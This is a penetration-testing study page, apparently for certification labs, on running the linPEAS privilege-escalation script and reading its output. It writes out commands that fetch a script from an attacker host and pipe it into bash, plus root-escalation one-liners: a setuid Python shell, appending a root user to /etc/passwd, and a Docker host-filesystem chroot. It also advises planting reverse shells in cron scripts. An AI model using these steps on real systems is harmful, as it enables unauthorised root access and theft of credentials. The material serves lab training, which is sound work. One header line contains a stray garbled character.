linPEAS
The definitive Linux privilege escalation enumeration script. Searches for SUID binaries, capabilities, cron jobs, writable paths, kernel exploits, passwords in files, and hundreds of other escalation vectors. Color-coded output guides you to the most promising findings.
What is it?
linPEAS (Linux Privilege Escalation Awesome Script) is a shell script that automates Linux privilege escalation enumeration. It checks hundreds of potential escalation vectors and presents findings with color-coded severity: red items are almost certainly exploitable, yellow items are interesting, and everything else is informational.
Without linPEAS, you'd be running dozens of manual commands: checking SUID binaries, reading cron tabs, looking for writable directories, searching for passwords in config files, checking kernel version against exploit databases. linPEAS does all of this in one script.
It is the Linux equivalent of winPEAS: same project, same philosophy, different OS.
Run this first
Serve the script from your machine, then run it on the target and save everything it prints.
# On your machine, in the folder that holds linpeas.sh $ python3 -m http.server 80 # On the target $ curl http://10.10.14.5/linpeas.sh | bash | tee /tmp/out.txt
| tee /tmp/out.txtsaves the output while you watch it. linPEAS prints thousands of lines and you will search them more than once.
Read the red findings first, then the yellow ones. Try every password it finds with su root, and look at services listening on 127.0.0.1, which Nmap cannot see from outside.
Getting linPEAS on the target
linPEAS is a script on your attack box that needs to run on the target. Here are the most common transfer methods:
# Method 1: curl from your HTTP server (most common) # On attacker: python3 -m http.server 80 victim$ curl http://10.10.14.5/linpeas.sh | bash # Runs directly without writing to disk # Method 2: Download then execute (if you need to run it multiple times) victim$ curl http://10.10.14.5/linpeas.sh -o /tmp/linpeas.sh victim$ chmod +x /tmp/linpeas.sh victim$ /tmp/linpeas.sh # Method 3: wget victim$ wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.sh # Method 4: SCP (if you have SSH creds) attacker$ scp linpeas.sh user@10.10.10.10:/tmp/ # Method 5: Base64 (if no curl/wget and no outbound connections) attacker$ base64 -w0 linpeas.sh # Copy the base64 string, then on target: victim$ echo "BASE64STRING..." | base64 -d > /tmp/linpeas.sh
curl http://attacker/linpeas.sh | bash runs the script without writing it to disk. This is cleaner and avoids leaving the script behind. But you lose the ability to re-run it, and if the connection drops mid-stream, you get partial output. For CPTS labs, downloading to /tmp is usually fine.
Running linPEAS
# Standard run: all checks victim$ ./linpeas.sh # Save output to file (the output is massive, always do this) victim$ ./linpeas.sh | tee /tmp/linpeas_output.txt # tee shows output AND saves to file simultaneously # Quiet mode: less noise, faster victim$ ./linpeas.sh -q # Run specific checks only victim$ ./linpeas.sh -s # -s = only "super fast" checks (SUID, capabilities, basic cron) # No color (for saving output without ANSI codes) victim$ ./linpeas.sh -a > /tmp/linpeas_output.txt # -a = all checks, no color
A full linPEAS run produces thousands of lines. Always pipe through tee so you can search through the output later: ./linpeas.sh | tee /tmp/out.txt. Trying to scroll through it in a reverse shell is painful. Save it, exfiltrate it if possible, and read it in a proper terminal.
Understanding the color coding
linPEAS uses colors to prioritize findings. Learning this system is key to working efficiently:
| Color | Meaning | What to do |
|---|---|---|
| RED/YELLOW (95%) | Almost certainly a privesc vector | Exploit this immediately. These are high-confidence findings like writable /etc/passwd, SUID on a GTFOBins binary, or root-owned cron running a script you can modify |
| Red | Very likely interesting / exploitable | Investigate carefully. Likely leads to escalation with some additional work |
| Yellow | Potentially interesting | Worth checking but might be a dead end. Common entries that sometimes lead somewhere |
| Green | Useful info / context | Informational. Users, groups, network info. Useful for understanding the system |
| Blue | Section headers / user-related | Navigation and context |
- Step 1: Scroll through and look only for RED/YELLOW (95%) items, these are your quick wins
- Step 2: Check red items: these are strong leads that need a bit more investigation
- Step 3: Review yellow items if steps 1-2 didn't work, sometimes the path is here
- Step 4: If nothing found, go back and manually investigate interesting info from green items
Key sections to focus on
SUID binaries
╔══════════╣ SUID - Check easy privesc,01 exploits andடwrite perms -rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd -rwsr-xr-x 1 root root 44784 Nov 29 2022 /usr/bin/newgrp -rwsr-xr-x 1 root root 26696 Sep 16 2020 /usr/bin/pkexec <-- CVE-2021-4034! -rwsr-xr-x 1 root root 14888 Mar 1 2023 /opt/custom/backup <-- Custom SUID binary! -rwsr-xr-x 1 root root 85064 Nov 29 2022 /usr/bin/chfn -rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/find <-- GTFOBins!
1. Check each SUID binary against GTFOBins (gtfobins.github.io). If it's listed, you have an instant privesc. 2. Custom SUID binaries (not in /usr/bin) are almost always the intended vector in CTFs, run strings and ltrace on them. 3. Common SUID wins: find (find . -exec /bin/bash -p \;), vim, python, nmap (old versions).
Capabilities
╔══════════╣ Capabilities /usr/bin/ping cap_net_raw=ep /usr/bin/python3.10 cap_setuid=ep <-- Can change UID to root! /usr/sbin/tcpdump cap_net_admin,cap_net_raw=eip
Cron jobs
╔══════════╣ Cron jobs * * * * * root /opt/scripts/cleanup.sh */5 * * * * root /usr/local/bin/backup.py ╔══════════╣ Writable cron scripts /opt/scripts/cleanup.sh is writable by your user! <-- Edit this for root shell!
Writable paths and files
╔══════════╣ Interesting writable files owned by me /etc/passwd <-- Add a root user! /opt/scripts/cleanup.sh <-- Cron runs this as root /usr/local/lib/python3.10/dist-packages/requests.py <-- Python library hijacking
Passwords in files
╔══════════╣ Searching passwords in config files /var/www/html/wp-config.php: define('DB_PASSWORD', 'dbr00tP@ss!'); /opt/app/.env: DB_PASSWORD=production_secret_2024 /etc/apache2/sites-enabled/000-default.conf: # old password: admin123
Internal services
╔══════════╣ Active Ports tcp 0.0.0.0:22 LISTEN tcp 0.0.0.0:80 LISTEN tcp 127.0.0.1:3306 LISTEN <-- MySQL on localhost only tcp 127.0.0.1:8080 LISTEN <-- Internal web app tcp 127.0.0.1:6379 LISTEN <-- Redis on localhost
Services listening on 127.0.0.1 aren't accessible from outside but you can access them from your shell. MySQL on localhost with the DB password from a config file = direct database access. An internal web app on 8080 might have its own vulnerabilities. Redis without authentication = potential code execution. Use port forwarding (Chisel or Ligolo) to access these from your attack box.
Common findings and what they mean
| Finding | What it means | Exploitation |
|---|---|---|
SUID on find/vim/python | Binary runs as root and can spawn a shell | GTFOBins command → instant root shell |
cap_setuid on python/perl | Can change process UID to 0 (root) | python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' |
| Writable cron script | Root runs your code on a schedule | Add reverse shell command to the script, wait for cron |
Writable /etc/passwd | Can add a root-level user | echo 'root2:$(openssl passwd pass123):0:0::/root:/bin/bash' >> /etc/passwd |
| Password in config file | Database/app credentials on disk | Try password reuse for SSH/su. Access the database directly |
| Internal port 3306/6379/8080 | Service only accessible locally | Access from your shell or tunnel it. Look for vulns |
Writable /etc/shadow | Can change root's password hash | Replace root's hash with one you generated |
| Wildcard in cron tar/rsync | Wildcard injection vulnerability | Create files that become flags to tar/rsync for code execution |
| Docker group membership | Can mount host filesystem | docker run -v /:/mnt --rm -it alpine chroot /mnt bash |
| Old kernel version | Potential kernel exploit | Check exploit-db for the specific kernel version |
Decision tree: what to exploit first
- 1. Writable /etc/passwd or /etc/shadow → instant root. Add a user or change root's hash
- 2. SUID/capability on a GTFOBins binary → instant root shell. Check gtfobins.github.io
- 3. Writable cron script running as root → add a reverse shell. Wait max 1-5 minutes
- 4. Passwords in config files → try
su rootwith found passwords, or access databases/services - 5. Docker/LXD group membership → mount host filesystem and escalate
- 6. Custom SUID binaries → reverse engineer with strings/ltrace to find exploitable behavior
- 7. Internal services → access MySQL/Redis/web apps with found creds or known vulns
- 8. Wildcard injection → if cron uses tar/rsync with wildcards in writable directories
- 9. Kernel exploits → last resort. Check the kernel version against exploit databases
Common mistakes
- Not saving output: linPEAS output is thousands of lines. Always use
| tee /tmp/out.txt. You'll need to search through it multiple times - Only reading the RED items: Sometimes the path is in yellow items or even green info. If RED doesn't pan out, go back and read yellow carefully
- Ignoring password findings: A database password might be reused as the root password. Always try
su rootwith every password you find - Skipping internal services: Services on 127.0.0.1 are not visible from nmap. linPEAS shows them, these are often the intended path
- Jumping to kernel exploits: Kernel exploits are unreliable and can crash the box. Try everything else first. In CPTS, the intended path is almost never a kernel exploit
- Not using pspy alongside: linPEAS shows static cron configs, but pspy shows actual running processes. Some cron jobs are configured outside of crontab (systemd timers, custom schedulers). Run both
- Running as root: linPEAS from a root shell is useless, you're already escalated. It's designed to run as a low-privilege user looking for ways up
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
Why save the output instead of reading it on screen?
tee /tmp/out.txt.The red findings lead nowhere. What next?
linPEAS finds a database password. What do you try with it?
su root with it, and with every other password you find. Passwords are often reused.Why do services on 127.0.0.1 matter?
Why try other findings before a kernel exploit?
linPEAS shows a cron configuration. Which tool shows what actually runs?
pspy, which watches running processes. Some jobs are scheduled outside crontab, for example by systemd timers or custom schedulers.